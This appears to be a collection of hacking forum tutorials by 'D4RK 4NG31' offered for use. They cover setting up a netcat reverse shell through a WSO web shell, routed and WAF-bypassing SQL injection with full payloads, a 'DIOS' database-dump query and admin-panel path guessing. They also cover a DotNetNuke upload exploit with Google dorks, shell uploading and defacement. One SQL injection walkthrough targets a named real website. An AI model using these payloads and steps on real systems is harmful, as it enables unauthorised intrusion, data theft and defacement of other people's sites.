BackConnect Without Router

Hello Guys ! I know many people wants to root server but their internet don't forward port :)

But Now you can BackConnect with any Internet Connections.

So, Just Follow me :-

1. Make account on koding.com

2. Build VM It'll take time.

3. Upload NetCat with wget Function in Terminal. Command : wget -O netcat.zip http://anonpirates.ml/netcat-1.11.zip

4. Now Unzip netcat with this command : unzip netcat.zip
" Hurray ! We Install NetCat successfully :) "

5. Now execute this command : nc -lvp 1337

6. Now You'll see written " koding-vm-0 " in top left and in that option You'll see settings button.

7. Click on settings button and There You'll see Public IP,Copy that IP.

8. Now goto that Server in which you want to backconnect

9. Click on Network ( WSO Shell ) And now Paste Public IP in IP and Write 1337 in port and then click on connect.

10.Now go back to VM to see that it's connected or not. Execute this command : ls ( to check )

Yahooooooooo ! :D We Successfully BackConnect the server

Hope You Like my tutorial. Thanks to Kashmiri Cheetah

#D4RK_4NG31

Routed SQLi Method

Hey Guys ! Hope You all are fine today :p

Now I'm going to teach you SQLi Routed Query method.

So, Let's start.

First we've to find vuln columns of target website .

web.com/index.php?id=1' union select 1,2,3,4,5--+

Sadly No Vuln Columns is appearing :\

Let's check in source

view-source:http://web.com/index.php?id=1' union select 1,2,3,4,5--+

:( Again no vuln columns is appearing. :) So, it's time to use Routed Query method to dump vuln column.

Let's find vuln column in which we can use routed SQLi method.

To find vuln columns. We'll use 0x27 = '

web.com/index.php?id=1' union select 1,2,3,4,0x27--+ > No error
web.com/index.php?id=1' union select 1,2,3,0x27,5--+ > No error
web.com/index.php?id=1' union select 1,2,0x27,4,5--+ > No error
web.com/index.php?id=1' union select 1,0x27,3,4,5--+ > Error
web.com/index.php?id=1' union select 0x27,2,3,4,5--+ > No Error

Horray ! :D .. We've fine the Vuln columns and it is 2.
Now , we've to use Routed SQLi Query

In this query we've to first put and false before union select & "1" in vuln column where " is for query and 1 is the injection point
Hope You know that Query without injection point never works. So, Let's begin

Time to find Columns

web.com/index.php?id=1' and false union select 1,"1 order by 1",3,4,5--+ > No error
web.com/index.php?id=1' and false union select 1,"1 order by 2",3,4,5--+ > No error
web.com/index.php?id=1' and false union select 1,"1 order by 5",3,4,5--+ > No error
web.com/index.php?id=1' and false union select 1,"1 order by 6",3,4,5--+ > Error

So, Columns are 6 :D

Let's dump vuln columns

web.com/index.php?id=1' and false union select 1,"1 union select 1,2,3,4,5,6",3,4,5--+

:D yeaahhhhhhhh... Vuln columns is appearing.

Hope You like my tutorial ;)
#D4RK_4NG31

Admin Panel Bypass

:) Hello Guys ! Today I'm going to teach you admin panel bypass.

So, let's start

:D You can bypass 68% Admin Panels with this

/admin/dashboard.php
/admin/home.php
/admin/admin.php
/admin/welcome.php
/admin/admin_index.php
/admin/admin_home.php
/admin/admin_main.php
/admin/main.php

If this not working You can try SQLi authentication bypass in other tutorials.
Hope You like my tutorial ;)
#D4RK_4NG31

SQLi Comments

%23
--
--+
--+-
;

WORK :
1'%23
1 --
1' --+
1' --+-
1' ;

SQLi Challenge Solution 1

First Hello to all :) from D4RK 4NG31

Target : http://exoticindiatours.in/pckge-details.php?id=2

Now, Let's Start

Finding which comment is working

http://exoticindiatours.in/pckge-details.php?id=2' --+ ====> error
http://exoticindiatours.in/pckge-details.php?id=2 --   ====> no error it's mean comment (--) is working..

-- = # mostly

So, we don't have to use any comment :))

Now it's time to find columns

First we'll use order by

http://exoticindiatours.in/pckge-details.php?id=2 order by 122 ====> Blocked

order by function is blocked.. so, we'll use group by instead of order by

http://exoticindiatours.in/pckge-details.php?id=2 group by 122 ====> showing error it's mean it's working :D

http://exoticindiatours.in/pckge-details.php?id=2 group by 2 ====> Error

http://exoticindiatours.in/pckge-details.php?id=2 group by 1 ====> No error

So, The vuln column is 1

Now, time to use union select

http://exoticindiatours.in/pckge-details.php?id=2 union select 1 ===> Blocked
http://exoticindiatours.in/pckge-details.php?id=2 /*!50000union*/ /*!50000select*/ ====> again blocked

seems Site block special chars (*,!)

Now It's time to do encryption.

For this we'll use union(select

In this .. We'll type columns like this " union(select (1),(2),(3),(4),(5))

Let's try..

http://exoticindiatours.in/pckge-details.php?id=2 union(select (1)) ====> :)) working....

Now it's time to use DIOS

as i already told u concat func is used for print multiple queries

http://exoticindiatours.in/pckge-details.php?id=2 union(select (concat(version(),database(),user()))

We get an error... seems site is blocking ( , ) comma

To bypass we'll use variable method :

and@x:=

Let's try this :

http://exoticindiatours.in/pckge-details.php?id=2 and@x:=concat(version(),database(),user()) union(select (@x))

again error

Let's try Waf. First we'll see which word is blocking site :

http://exoticindiatours.in/pckge-details.php?id=2 and@x:=concat====(version(),database(),user()) union(select (@x)) ===> No error

Concat( = Blocked

For this we'll use + with great amount

Let's do it:

http://exoticindiatours.in/pckge-details.php?id=2 and@x:=concat+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++(0x3c703e496e6a6563746564206279204434524b20344e4733313c2f703e,0x3c62723e,version(),0x3c62723e,database(),0x3c62723e,user())+UNION(SELECT(@x))#

Done :) Happy Injecting ;) Tutorial by D4RK 4NG31

Easy and Simple Way to make DIOS

First We'll Print Our Cyber name

To use html tags we'll use them between apostrophes ( ' ) like '<p>Injected by D4RK 4NG31</p>'

And we'll use Concat function for multiple queries

So, Let's Start..

Concat('<h2>Injected by D4RK 4NG31</h2>') :D Done

Now For Print Version,Database,User .... We'll use these commands @@version,database(),user() and will use <br> for new line :)

Concat('<h2>Injected by D4RK 4NG31</h2>','<p>Version ::</p>',@@version,'<br>','<p>Database ::</p>',database(),'<br>','<p>User ::</p>',user(),'<br>')

Done :D we've printed all things now it's time to print tables and columns

Now for this we'll use this query

(select group_concat(column_name,'<br>',table_name) from information_schema.columns where table_schema=database())

Now add this query in DIOS

Concat('<h2>Injected by D4RK 4NG31</h2>','<p>Version ::</p>',@@version,'<br>','<p>Database ::</p>',database(),'<br>','<p>User ::</p>',user(),'<br>',(select group_concat(column_name,'<br>',table_name) from information_schema.columns where table_schema=database()))

HTML tags into hex :

Concat(0x3c68323e496e6a6563746564206279204434524b20344e4733313c2f68323e,0x3c703e56657273696f6e203a3a203c2f703e,@@version,0x3c62723e,0x3c703e4461746162617365203a3a3c2f703e,database(),0x3c62723e,0x3c703e55736572203a3a3c2f703e,user(),0x3c62723e,(select group_concat(column_name,0x3c62723e,table_name) from information_schema.columns where table_schema=database()))

DIOS completed now Happy Injecting :)))

Tutorial by D4RK 4NG31 ;)

DNN ( DotNetNuke ) Website Hacking

How To Hack Websites Using DotNetNuke Exploit + Shell Uploading
Hello everyone!! Previously we have discussed about "How to Hack Website Using Havij SQL Injection". Today,I am going to tell about one more very usefull but old method which you can used to hack website using Dot net nuke(DNN) exploit. I know some of you know about this method DNN but it is very good exploit to hack dot net sites. B
y using this DNN exploit, you can even hack all sites which are hosted on same server. Also you can upload any file using it. It is easy method as compared to other hacking attacks such as SQL-Injection and Cross Site Scripting etc.
What is DNN (Dot Net Nuke) ?
DotNetNuke is an open source platform for building web sites based on Microsoft .NET technology. DotNetNuke is mainly provide Content Management System(CMS) for the personal websites.
Step 1: First go to google.com search page and use this following dork to find vulnerable site.
inurl:home/tabid/36/language/en-US/Default.aspx
another dorks you can use
inurl:fcklinkgallery.aspx
inurl:/portals/0
Step 2: Now open any site from the search list like
http://www.vulsite.com/…/tab…/36/language/en-US/Default.aspx
Now replace "home/tabid/36/language/en-US/Default.aspx" with Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
so your url will become
http://www.vulsite.com/…/HtmlEditor…/Fck/fcklinkgallery.aspx
then hit enter
Step 3: Now there are 2 possibilities
if u get Link Gallery url select then site is not vulnerable , see the image below :
http://1.bp.blogspot.com/…/nGf…/s1600/website%2Bhacking1.jpg
and If you get Like shown in below image then target is vulnerable :
http://3.bp.blogspot.com/…/r3g…/s1600/website%2Bhacking2.jpg
ok now if you find a vulnerable site move to next step
Step 4: Now you can see 3 options there and we neeed to select “File in your site”.
http://3.bp.blogspot.com/…/29B…/s1600/website%2Bhacking3.jpg
Step 5: Now after selecting 3 options, we need to use a javascript code. For that we need to use that browser which supports javascript. So i use Opera Mini .
Before using javascript, first we need to choose file location as root, after that clear everything written on browser url and paste the below javascript only.
javascript:__doPostBack('ctlURL$cmdUpload','')
Step 6: After inject the above javascript code in browser address bar, you will get upload option instead of selection option.
http://2.bp.blogspot.com/…/dOg…/s1600/website%2Bhacking4.jpg
Step 7: Now you have to upload your shell.
Note : But remember you cant upload your shell directly in .php format and not even you can do anything by uploading .php.jpg
So for this purpose first we need to upload a special type of shell which is specially coded in asp.
Download the shell :- goto www.sh3ll.org .
Now rename your asp shell to
yourshell.asp;.jpg
and upload it.
After uploading you can access your ASP shell by going to this address,
http://www.vulsite.com/portals/0/yourshell.asp;.jpg
http://4.bp.blogspot.com/…/crr…/s1600/website%2Bhacking0.jpg
Step 8: Now upload your php shell using upload file option marked in above image.
After uploading php shell you can access it by going to this address,
http://www.vulsite.com/portals/0/yourphpshell.php
Step 9: Now replace your index.html with original index.html. Thats it.
Well you can also hack all sites which are hosted on same server.
For that follow the bellow image and click on Drives you will find all sites hosted on same server.
Click on any one site and follow the above process to upload you shell.
Happy website hacking!!!
—————————————-
# D4RK 4NG31
—————————————-